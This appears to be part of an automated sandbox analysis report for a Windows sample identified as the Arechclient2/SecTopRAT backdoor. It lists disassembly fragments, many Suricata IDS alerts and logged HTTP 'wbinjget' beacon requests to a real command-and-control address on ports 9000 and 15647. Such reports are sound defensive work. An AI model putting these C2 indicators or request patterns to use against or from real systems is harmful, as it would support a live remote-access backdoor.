Source:	Binary string: wntdll.pdbUGP source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1494906771.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1492795481.00000000050AB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790316524.00000000049A0000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790621154.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1841195859.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1840643368.00000000048B9000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1898876592.0000000004CC7000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899243196.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3846342146.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3845330061.00000000041D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1494906771.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1492795481.00000000050AB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790316524.00000000049A0000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790621154.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1841195859.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000007.00000002.1840643368.00000000048B9000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1898876592.0000000004CC7000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899243196.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3846342146.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000016.00000002.3845330061.00000000041D5000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06D5C439h	10_2_06D5C318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06D5C439h	10_2_06D5C308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	10_2_070481C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0731540Bh	10_2_07314E31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 07941009h	10_2_07940358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	10_2_07940358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0794165Eh	10_2_07940358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0794C584h	10_2_0794C0EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 07949741h	10_2_07949729
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0799715Ch	10_2_07996180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0799715Ch	10_2_07996180

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:49716 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:49717 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:49718 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:49716
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58356 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58358 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58360 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58359 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58354 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58357 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58361 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58362 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58363 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58355 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58365 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58366 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58353 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58364 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58371 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58367 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58372 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58369 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58377 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58373 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58374 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58370 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58379 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58368 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58375 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58381 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58376 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58380 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58382 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58384 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58378 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58385 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58388 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58387 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58386 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58391 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58383 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58393 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58394 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58390 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58388
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58383
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58385
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58394
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58391
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58389 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58392 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58395 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58396 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58397 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58398 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58399 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58400 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58401 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58402 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58403 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58404 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58405 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58407 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58406 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58408 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58407
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58410 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58410
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58409 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58411 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58412 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58413 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58414 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58415 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58417 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58418 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58416 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58417
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58419 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58418
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58420 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58422 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58423 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58424 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58421 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58425 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58426 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58427 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58428 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58429 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58430 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58432 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58431 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58434 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58432
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58433 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:58436 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58435 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58436
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58437 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58438 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:58439 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.7:58434

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 213.109.202.97 ports 9000,1,4,5,6,7,15647

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58353 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58355 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58356 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58357 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58358 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58359 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58361 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58362 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58363 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58365 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58366 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58367 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58368 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58369 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58370 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58371 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58372 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58373 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58374 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58375 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58377 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58378 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58386 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58389 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58395 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58396 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58397 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58399 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58400 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58401 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58403 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58405 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58406 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58409 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58411 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58412 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58413 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58415 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58416 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58419 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58420 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58421 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58423 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58425 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58426 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58427 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58429 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58431 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58433 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58435 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58437 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58438 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 58439 -> 9000

Source: global traffic

TCP traffic: 192.168.2.7:49716 -> 213.109.202.97:15647

Source: global traffic	TCP traffic: 192.168.2.7:58350 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:59813 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
